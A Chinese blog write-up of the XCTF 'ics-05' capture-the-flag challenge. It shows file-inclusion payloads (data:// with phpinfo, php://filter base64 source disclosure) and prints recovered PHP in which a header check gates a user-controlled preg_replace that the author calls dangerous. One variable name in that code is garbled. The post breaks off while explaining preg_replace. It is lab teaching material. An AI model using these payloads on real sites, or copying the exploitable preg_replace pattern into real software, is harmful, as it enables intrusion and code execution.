XCTF-ics-05

发布时间 2023-11-28 11:10:49作者: Junglezt

访问页面,似曾相识的页面,查看源代码,搜索php,找到index.php,访问index.php

看不出什么,继续访问index.php的源代码获取到有用信息page=index的传参

这应该是一个文件包含,尝试使用data://协议进行命令执行

?page=data://text/plain,<?php phpinfo();?>


没有任何回显,可能是过滤了,接着使用最常用的文件包含php://filter协议

?page=php://filter/read=convert.base64-encode/resource=index.php

包含成功,使用base64解析该源代码

echo -n "base64_content" | base64 -d > test.php

有两段重要的php代码,第一个是我们文件包含的条件语句

if (ctype_alnum($page)) {
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php

下面这个是我们需要命令执行的php语句

/方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replarepsystemcement, $subject);
    }else{
        die();
    }

}

上述中有一个危险函数preg_replace.
让我们来了解一个preg_replace()这个函数的用法:

  • preg_replace($pattern,$replacement,$subject)看下方案例既可以明白